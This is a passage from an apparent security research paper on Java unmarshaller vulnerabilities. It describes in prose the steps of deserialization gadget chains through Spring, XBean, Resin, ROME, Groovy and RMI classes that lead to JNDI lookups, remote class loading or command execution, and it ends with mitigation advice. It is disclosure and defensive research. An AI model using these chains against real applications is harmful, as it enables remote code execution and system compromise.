2. On `PartiallyComparableAdvisorHolder->toString() (Advisor & Ordered) ->getOrder()` is called.

[52] of course you can use a Java deserialization gadget of your liking here, but we don't need it
[53] on its own, not using the default JNDI reference mechanism

3. `AspectJPointcutAdvisor->getOrder()` then invokes `AbstractAspectJAdvice->getOrder()`.
4. That calls `AspectInstanceFactory->getOrder()`.
5. `BeanFactoryAspectInstanceFactory->getOrder()` finally calls `BeanFactory->getType()`.
6. `SimpleJndiBeanFactory->getType()` triggers the JNDI lookup.

Getting the `toString()` invocation is not as straightforward as it is with Java deserialization,[54] but still possible. `com.sun.org.apache.xpath.internal.objects.XObject` will invoke `toString()` on the argument to its `equals()` method. The standard library collections will, however, only check for equality if the objects' hash codes match. And while `XObject`'s hash code can be set to an arbitrary value by properly choosing its string value, `PartiallyComparableAdvisorHolder` does not have a `hashCode()` implementation and is producing unpredictable ones. `HotSwappableTargetSource` comes to the rescue: it has a fixed hash code and provided another `HotSwappableTargetSource` to its `equals()` method will check their `Object`-valued 'target' fields for equality.

4.12 Spring AOP `AbstractBeanFactoryPointcutAdvisor`

Applies to

SnakeYAML (3.1.1), Jackson (3.1.6), Castor (3.1.7), Kryo (3.2.2), Hessian/Burlap (3.2.3), json-io (3.2.4), XStream (3.2.5)

Requires `spring-aop` on the class path. Requires default constructor call or the ability to restore transient fields as well as the ability to restore non-`java.io.Serializable`.

1. `AbstractPointcutAdvisor->equals()` invokes `AbstractBeanFactoryPointcutAdvisor->getAdvice()`.
2. `AbstractBeanFactoryPointcutAdvisor->getAdvice()` then calls `BeanFactory->getBean()`.
3. `SimpleJndiBeanFactory->getBean()` triggers the JNDI lookup.

4.13 Spring `DefaultListableBeanFactory`

Given that the mechanism is capable of restoring it, the `SimpleJndiBeanFactory` (4.10, 4.11, 4.12) can also be replaced by `DefaultListableBeanFactory`. That requires the ability to restore non-`java.io.Serializable`[55] objects, restoring transient fields or calling constructors, not calling `readObject()` and cannot be achieved through setter methods. Alvaro Muñoz has previously described its use in Java Serialization.[56]

[54] `javax.management.BadAttributeValueExpException`, at least with no `SecurityManager` active, invokes `toString()` from `readObject()`.

[55] some `ThreadLocals` and `org.springframework.beans.factory.support.InstantiationStrategy`

[56] CVE-2011-2894 – `http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/`

However, his approach required the use of proxies. Spring object construction can be triggered using the SpringBFAdv (4.12) or SpringPropFac (4.10) chain described above.

4.14 Apache XBean

Applies to

SnakeYAML (3.1.1), Java Serialization (3.2.1), Kryo (3.2.2)†, Hessian/Burlap (3.2.3), json-io (3.2.4), XStream (3.2.5)

Requires `xbean-naming`. Requires no or arbitrary constructor calls. All involved classes are `java.io.Serializable`.

1. Use a `toString()` trigger like the one described in SpringCompAdv (4.11) on `org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding`. The instance does not have a stable `hashCode()`, so some additional trickery is required.[57]
2. `javax.naming.Binding->toString()` calls `getObject()`.
3. `ReadOnlyBinding->getObject()` calls `ContextUtil->resolve()` with a supplied `javax.naming.Reference`.
4. `ContextUtil->resolve()` directly calls into `javax.naming.spi.NamingManager ->getObjectInstance()`.[58]

4.15 Caucho Resin

Applies to

Kryo (3.2.2)†, Hessian/Burlap (3.2.3), json-io (3.2.4), XStream (3.2.5)

Requires Resin base library package. Requires no or arbitrary constructor calls. `javax.naming.spi.ContinuationContext` is not `java.io.Serializable`.

1. Use a `toString()` trigger as described in SpringCompAdv (4.11) on `com.caucho.naming.QName`. It has a stable `hashCode()` implementation.
2. `QName->toString()` calls `javax.naming.Context->composeName()`
3. `ContinuationContext->composeName()` calls `getTargetContext()` which triggers `NamingManager->getContext()` with an attacker-supplied object, ultimately leading to a `NamingManager->getObjectInstance()` call.

[57]`com.sun.org.apache.xpath.internal.objects.XObject` combined with any class that passes through an `Object->toString()` invocation but provides a stable `hashCode()` independently of that object's `hashCode()` will do, these are not especially rare, `org.apache.johnzon.core.JsonObjectImpl` is another example

[58]bypassing the recently added codebase restrictions for JNDI References

4.16 `javax.script.ScriptEngineManager`

Applies to

SnakeYAML (3.1.1)

From the Oracle/OpenJDK standard library. Requires the ability to call arbitrary constructors with provided data. Involved types do not implement `java.io.Serializable`.

1. Construct a `java.net.URL` object pointing to a remote class path.
2. Construct a `java.net.URLClassLoader` with that URL.
3. Construct a `javax.script.ScriptEngineManager` with that `ClassLoader`.
4. The constructor call invokes the `ServiceLoader` mechanism for `javax.script.ScriptEngineFactory` on the remote class path, ultimately instantiating an arbitrary remote class implementing that interface.

4.17 Commons Beanutils `BeanComparator`

Applies to

Java Serialization (3.2.1), Kryo (3.2.2), XStream (3.2.5)

Known Java deserialization gadget, first published by Chris Frohoff. Implements `java.io.Serializable`, has a public default constructor as well as public getter/setter methods for the required 'property' property. Requires the ability to invoke the comparator which is provided if a sorted collection/map can be constructed with a custom `java.util.Comparator`.

1. Construct a collection/map with a `Comparator` having 'property' set according to the getter method to be called.
2. Insert two instances of the target object, thereby invoking the `Comparator`.
3. `BeanComparator` will invoke the property getter method on both objects.

Can be used to trigger either TemplatesImpl (4.1.1) or JdbcRowset (4.2) via the 'databaseMetaData' property.

4.18 ROME `EqualsBean/ToStringBean`

Applies to

Java Serialization (3.2.1), Kryo (3.2.2)†, Hessian/Burlap (3.2.3), json-io (3.2.4), XStream (3.2.5)

Published as a Java deserialization gadget. Both relevant types implement `java.io.Serializable`. They do not have default constructors and no setters. Therefore exploitation requires a marshaller that allows arbitrary constructor calls, or one that does not call any constructors at all. Require the ability to marshal `java.lang.Class`.

1. Create an `EqualsBean` with 'obj' set to a `ToStringBean` instance. `ToStringBean`'s 'obj' is set to the target object and its 'beanClass' property to the object's class.[59]
2. Insert that resulting object into a collection calling `hashCode()`.
3. `EqualsBean->hashCode()` triggers its 'obj' property's `toString()` method.
4. `ToStringBean->toString()` calls all getter methods of 'beanClass' on its 'obj'.

Can be used to trigger either TemplatesImpl (4.1.1) or JdbcRowset (4.2) via the 'databaseMetaData' property.

4.19 Groovy `Expando/MethodClosure`

Applies to

Kryo (3.2.2)†, json-io (3.2.4)

This one has already been used in exploiting XStream (3.2.5).[60] Both types do not implement `java.io.Serializable`. There are no setters for the properties an attacker needs to control for successful exploitation. `MethodClosure` does not have a default constructor and has a `readResolve()` and/or `readObject()` method that throws an exception (must not be called).[61]

1. Create a `MethodClosure`, setting the 'delegate' and 'owner' properties to a `java.lang.ProcessBuilder` instance set up with command and arguments, set 'method' to "start".
2. Create an `Expando` instance and add the `MethodClosure` to the 'expandoProperties' map for the 'hashCode' key.[62]

[59] or a superclass/interface that contains the getter method that should be called, this can be helpful as exceptions from a getter will stop execution

[60] `https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream`, there might be prior usage

[61] `readResolve()` introduced in version 2.4.4, and starting with version 2.4.8 also a `readObject()` implementation that will do the same

[62] can possibly also be triggered through 'toString' and 'equals'

3. Insert into a collection calling `hashCode()`. `Expando` invokes the `MethodClosure` for `hashCode()` which invokes `ProcessBuilder->start()` executing the command.

4.20 `sun.rmi.server.UnicastRef(2)`

Applies to

BlazeDS (3.1.4), json-io (3.2.4)

From the Oracle/OpenJDK standard library. Already published as a filter bypass gadget for Java Serialization. Requires support for `java.io.Externalizable`.

Upon `java.io.Externalizable->readExternal()` this will register an object reference through `LiveRef->read()` for RMI Distributed Garbage Collection (DGC). For performing DGC the user of an object must inform the endpoint hosting that object about its usage. This is done by opening up a JRMP[63] connection to that endpoint and making a `dirty()` call to the DGC service. The remote endpoint address is attacker-controlled, meaning we are performing calls on an attacker-controlled JRMP server. JRMP is based on Java Serialization and a crafted exception return value will be deserialized by the host unmarshalling the reference. That leaves the attacker with the opportunity to further exploit that, usually unobstructed by filters that may be present in other places.[64]

4.21 `java.rmi.server.UnicastRemoteObject`

Applies to

Jackson (3.1.6), json-io (3.2.4)

From the Oracle/OpenJDK standard library. Already published as a filter bypass gadget for Java Serialization. Successful exploitation requires that the attacker is able to invoke a protected default constructor, an arbitrary protected one, or `readObject()`.

This will export the read/instantiated object through RMI. Along the way of doing so it will make sure that the specified endpoint exists, creating a new network listener if it does not, bound to 0.0.0.0. If the protected default constructor is used, that will bind to a random port,[65] otherwise the port can be provided by the attacker. If that listener can be accessed by the attacker, this might additionally allow exploiting Java deserialization via JRMP.

There are a few limitations to this one. For exploiting a JRMP server one needs to get as far as making a call on an object. The object ID we need for that is sufficiently

[63] JRMP is the remote procedure call protocol usually used in RMI

[64] https://github.com/kantega/notsoserial is an agent based look-ahead filter that would still apply, the upcoming standard library mechanism might as well, but user-space filter implementations won't

[65] figuring that port out by brute-force is certainly possible, one can also improve the efficiency by opening multiple ones

randomized.[66] There are three well known object IDs – DGC (2), RMI Activator (1) and RMI Registry (0). The only one that will always be available is the DGC, the RMI Registry might if the application is using RMI/JMX, Activator is probably rare. Depending on the target application's class loader architecture one might not be able to directly exploit this as the well-known objects use `AppClassLoader` and that might not suffice.

The exported object, however, will be using the thread's context class loader which was active when the object was created. In the case of web applications this will usually be the interesting one. If the attacker is able to leak that object's identifier, access to that object and its class loader is possible and can be further exploited.[67]

[66] if not configured otherwise

[67] see the published Jenkins CVE-2016-0788 exploit for how that might work – https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JenkinsListener.java

5 Further interactions

So far we have only been looking at things that happen during unmarshalling, which means before the control flow returns to the user application. But why would you unmarshal at all, if you weren't going to use the data afterwards. Assuming that the unmarshalled object graph passes potential type checks and other validations, there is also room for exploits that happen afterwards. An obvious example would be if the application directly called some method causing unwanted side effects based on the attacker-supplied object's (unexpected) state. The ability to inject proxies can break almost any assumption one might make about an object's behavior. There are a couple of more general scenarios that do not require the application to directly interact with a "bad" type.

5.1 Marshalling Getter Calls

Property based marshallers will call all property getters on any object included in the graph. Therefore, if a previously unmarshalled object (not necessarily using the same mechanism) is ultimately passed to such a mechanism for marshalling, a whole new range of methods will be called on an attacker-controlled object.

If the respective types can be sufficiently restored using the inbound mechanism, they will trigger undesired effects on property based marshalling, e.g.:

- Xalan's `TemplatesImpl` executes supplied bytecode on `getOutputProperties()`.[68]
- `com.sun.rowset.JdbcRowSetImpl` will perform a JNDI lookup on `getDatabaseMetaData()`.
- `org.apache.xalan.lib.sql.JNDIConnectionPool` will perform a JNDI lookup on `getConnection()` .
- `java.security.SignedObject`: will trigger Java deserialization of supplied data on `getObject()`.

5.2 Java "re"serialization

Storing an object graph in a servlet session in most servlet containers will trigger serialization when the session is paged out and deserialization when it's paged back in. There are also various primitives out there that clone object graphs by using Java Serialization. This can also open up exploitation vectors that would not otherwise be reachable. One example of such behavior is `spring-tx`'s `JtaTransactionManager`. That class can be nicely set up using all of the described mechanisms. Almost none of them will however trigger the initialization code that is required for exploitation as this is done in `afterPropertiesSet()` or `readObject()`. This code, however, might suddenly be triggered, if the attacker-crafted object was stored in a session or cloned using serialization.

[68] the restrictions regarding its transient fields mentioned in 4.1.1 apply, also the required setters are not public

6 Conclusions

The good news is that these mechanisms, more or less obviously – by transporting Java type information – expose implementation details and therefore are not really suited for public APIs and only rarely used in these. Some of the described marshallers are pretty obscure, some seem abandoned, yet for almost all of them exploitable uses could be found in major projects, in many cases resulting in critical vulnerabilities.

Is this problem limited to Java? Most certainly not.[69] Java's flat class path architecture[70] and the sheer size of usual class paths, including but not limited to the standard library, just offer a lot of surface for exploitation. The availability of "enterprise" features (JNDI) in the standard library offering remote code execution capabilities through seemingly innocuous APIs do the rest. Many of the gadgets presented here rely on JNDI for the remote code execution step. JNDI/RMI has already been hardened by disallowing remote codebases by default and the author expects JNDI/LDAP to follow sometime soon. However, this won't fix the actual issue, which is that this code is reachable in the first place, and also will still allow to escalate to Java Serialization (3.2.1) which might be more expressive/exploitable than the primary mechanism.

When comparing the different mechanisms presented here, it becomes clear that while there isn't much of an overlap between gadgets for field- and property-based marshallers, both can be equally exploitable and their degree of vulnerability depends mostly on the amount of types being available for an exploit. Restrictions on those can come from technical requirements, e.g. visibility constraints or constructor requirements,[71] the use of runtime type information and, in some cases, a declaration of intent by the target object. Apart from the faulty implementation in Hessian/Burlap (3.2.3), Java Serialization (3.2.1) really seems to be the only mechanism that checks for such intent in the form of `java.io.Serializable`.

While it might seem a good idea to allow types to declare whether or not they should be allowed in (un)marshalling, and lifting any such limitation – as most of the mechanism described here do – is even worse,[72] we've already seen this horribly go wrong for Java Serialization (3.2.1). There are multiple reasons for this failure, for one `java.io.Serializable` serves two purposes with conflicting needs. Usage in passivation, e.g. storing some object in a web session, would like to restore things as transparently as possible, while usage in data transport should minimize side effects.[73] Another problem arises from the fact that this intent is declared through an interface and therefore inherited, forcing the declaration upon all subtypes.[74] Finally it puts the burden of deciding whether something is safe in general upon somebody who might not see the

[69] e.g. Json.NET polymorphic `TypeNameHandling` would seem like a prime target for doing similar things in C# – there is a warning in the documentation not to use it carelessly but, as usual, almost nobody seems to care.

[70] modularization techniques like OSGI, JBoss/Wildfly modules and the upcoming Java 9 modules do indeed make it much more unlikely that an instance is exploitable by implicitly limiting the accessible types quite dramatically, but are no silver bullet either

[71] Kryo (3.2.2) nicely shows how much difference a default constructor requirement can make

[72] as then not even people considering the effects of some piece of code can prevent it from being used in such scenarios

[73] an example of this is `commons-fileupload`'s `DiskFileItem`

[74] Groovy's `MethodClosure` could be considered an example of this

complete picture – something that might seem safe in one codebase can suddenly, by complex interactions, become exploitable in another. Coming up with a clean set of rules what might be safe behavior and what not may not be as easy as it sounds.

Except for cases where one actually would use a class with undesirable behavior, full type checking of fields/properties/collections from a root type is a quite effective mitigation for these problems but in many cases would require architectural changes to user software[75] and cannot fully account for polymorphism. Combining this with the registration of polymorphic types, like e.g. GSON or Jackson with `Id.NAME` polymorphism do, seems like a good balance between safety and convenience for many use cases.

People tend to be looking for someone to blame. Should a `hashCode()`/`equals()` or a property accessor implementation invoke any code with possible side effects?[76] While that might be bad style in general, it may be necessary to get correct behavior in others. Should an unmarshaller assume that all types follow some implicit contract? Probably not, but without any form of contract there is not much they could do. Should developers be more concerned with the security implications of technologies they use, including actually reading warnings in the documentation, and less with their convenience? Certainly.

For Java Serialization (3.2.1) we have seen some libraries, namely `commons-collections` and `groovy`, “fixing” gadgets in their code. It’s the author’s opinion that this was a bad choice, leaving many exploitable instances as the fundamental problem often remained unfixed. Also, in many cases, it is not even possible to implement such mitigations for the mechanisms described in this paper as there is no way a type could prevent its own unmarshalling.

What one should take away is that unmarshalling into objects always[77] is a form of code execution. As soon as you allow an attacker to call into code you don’t even know what it is going to do, it is very likely that it will take you places you will not like.

No matter, how an unmarshalling mechanism interacts with objects or how “powerful” it is,[78] if it allows unmarshalling into object types which have not explicitly been selected for such purposes, it is almost certainly exploitable.

The only proper way to fix, is to restrict the availability of types – may that be in the form of an explicit whitelist, using runtime type information starting from a root type, or some other indicator – to known good ones. These have to follow the desired contract of not having any side effects when unmarshalled, in the best case scenario these would be data objects not containing any logic at all. For practical purposes a restriction to the types that are actually used seems good enough, usually it’s the ton of code that you don’t even care about that will get you pwned.

[75] delaying the unmarshalling until the expected type is known

[76] When judging whether anyone can even decide that, the author suggests you look into the iterator trigger described in ServiceLoader (4.3).

[77] well, at least anything that would even be remotely useful

[78] The prevalence of proxy constructs in Java Serialization (3.2.1) gadgets should not be taken as an indication that these are actually required for exploitation.